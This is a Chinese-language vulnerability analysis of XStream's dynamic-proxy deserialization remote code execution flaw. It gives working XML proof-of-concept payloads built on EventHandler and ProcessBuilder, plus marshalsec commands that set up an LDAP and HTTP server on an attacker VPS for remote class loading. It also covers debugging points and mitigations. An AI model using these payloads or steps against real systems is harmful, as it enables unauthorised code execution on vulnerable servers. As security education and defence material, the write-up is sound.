xstream动态代理反序列化漏洞调试分析
字数 1253 2025-08-05 00:15:18
XStream动态代理反序列化漏洞分析与利用
漏洞概述
XStream是一个流行的Java库,用于将对象序列化为XML/JSON格式或反向操作。在1.4.x系列版本中(<=1.4.6或=1.4.10),存在动态代理反序列化漏洞,攻击者可以通过构造特殊的XML payload实现远程代码执行(RCE)。
漏洞原理
该漏洞利用Java动态代理机制和EventHandler类的特性:
- 动态代理:Java允许在运行时创建实现指定接口的代理类实例
- EventHandler:实现了
InvocationHandler接口,可以监控接口方法调用并执行指定操作 - ProcessBuilder:用于执行系统命令
攻击者构造的XML payload会创建一个动态代理,当代理接口的任何方法被调用时,会触发EventHandler执行ProcessBuilder的start()方法,从而实现命令执行。
环境搭建
Maven依赖配置
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.10</version> <!-- 漏洞版本 -->
</dependency>
测试代码
import com.thoughtworks.xstream.XStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.InputStream;
public class XStreamTest {
public static void main(String[] args) throws FileNotFoundException {
String path = XStreamTest.class.getClassLoader().getResource("poc.xml").getPath();
InputStream in = new FileInputStream(path);
XStream xs = new XStream();
Car c = (Car)xs.fromXML(in); // 反序列化触发漏洞
c.run(); // 调用代理接口方法触发命令执行
}
}
漏洞利用
基本POC (poc.xml)
<dynamic-proxy>
<interface>car</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string> <!-- 要执行的命令 -->
</command>
</target>
<action>start</action> <!-- 要调用的方法 -->
</handler>
</dynamic-proxy>
通用POC (使用Comparable接口)
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
实际攻击步骤
-
准备恶意类:在VPS上开启HTTP服务存放恶意类
python -m http.server 8888 -
启动LDAP服务:使用marshalsec工具
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip/css/#ExportObject 1389 -
生成payload:使用marshalsec生成XStream反序列化payload
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils ldap://your-dnslog-domain/a > payload.xml -
发送payload:将生成的payload.xml发送到目标系统
漏洞分析
执行流程
- XStream解析XML时遇到
<dynamic-proxy>标签 - 创建动态代理对象,指定接口为
car或Comparable - 设置
EventHandler作为代理处理器 - 配置
EventHandler的target为ProcessBuilder,action为start - 当代理接口的任何方法被调用时,触发
EventHandler执行ProcessBuilder.start() ProcessBuilder执行系统命令
关键调试点
- XML解析:
XStream.fromXML()开始解析 - 动态代理创建:在
DynamicProxyConverter.unmarshal()中创建代理 - EventHandler设置:通过
context.convertAnother()获取并设置处理器 - 命令执行触发:代理接口方法调用时触发
EventHandler.invoke()
防御措施
- 升级XStream到最新安全版本
- 实现
XStream的安全配置,限制反序列化类:XStream xs = new XStream(); xs.allowTypesByWildcard(new String[] { "com.yourpackage.**" }); - 使用白名单机制限制可反序列化的类
总结
XStream动态代理反序列化漏洞通过结合Java动态代理和EventHandler机制,实现了在反序列化过程中执行任意命令的能力。攻击者只需构造特定的XML payload并诱使目标系统反序列化,即可实现远程代码执行。在实际渗透测试中,需要注意LDAP服务的端口限制(通常只能使用80、443或53端口)。